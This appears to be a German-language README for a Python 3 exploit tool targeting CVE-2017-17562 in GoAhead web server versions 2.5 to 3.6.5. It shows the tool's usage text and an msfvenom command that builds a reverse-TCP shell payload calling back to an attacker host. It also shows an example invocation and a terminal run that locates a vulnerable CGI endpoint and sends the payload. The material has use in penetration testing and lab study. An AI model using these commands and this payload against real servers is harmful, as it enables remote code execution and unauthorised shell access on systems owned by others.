
Eigenständiger Python-3-Exploit für CVE-2017-17562, der GoAhead-Webserver 2.5–3.6.5 angreift, mit automatisierter Erkennung von CGI-Endpunkten und Bereitstellung von Reverse-Shell-Payloads.
Eigenständiger Python-3-Reverse-Shell-Exploit für CVE-2017-17562, funktioniert mit GoAhead-Webserver-Versionen 2.5 < 3.6.5.
Blog Artikel hier.
Geschrieben und getestet auf Python 3.7, basierend auf POC und verwundbarer Umgebung hier. Ein Teil des Codes stammt aus dem Metasploit-Modul.
Original-POC hier zu finden. Ich habe das geschrieben, weil ich den ursprünglichen POC-Exploit nicht zum Laufen bringen konnte und erst bemerkt habe, dass ihm eine Funktion zur Suche nach dem ausnutzbaren CGI-Modul fehlt, d. h. der Benutzer muss dessen Speicherort angeben oder eine Wortliste für die rekursive Suche bereitstellen.
root@Kali:~/Infosec/RubyStuff/GoAhead-Web-Server-2.5~3.6.5# ./exploit.py -h
usage: exploit.py [-h] -rhost RHOST [-rport RPORT] [-cgipath CGIPATH] -payload
PAYLOAD
Generate the payload first, eg:
msfvenom -a x64 --platform Linux -p linux/x64/shell_reverse_tcp LHOST=192.168.92.134 LPORT=4444 -f elf-so -o dir/payload.so
Required arguments:
-rhost RHOST Target host running Go Ahead webserver eg. 192.168.92.153
-payload PAYLOAD Path to the malicious elf-so payload. eg dir/payload.so
Optional arguments:
-rport RPORT Target port running GoAhead webserver. Default: 8080
-cgipath CGIPATH The path to a CGI script on the GoAhead server Default: '/cgi-bin' as in http://192.168.92.153/cgi-bin
Call the exploit like this:
./exploit.py -rhost 192.168.92.153 -rport 8080 -cgipath /cgi-bin/index -payload dir/payload.so
root@Kali:~/Infosec/RubyStuff/GoAhead-Web-Server-2.5~3.6.5# ./exploit.py -rhost 192.168.92.153 -rport 8080 -payload payload3.so
Searching 390 paths for an exploitable CGI endpoint...
Exploitable CGI located at /cgi-bin/index
Sending payload...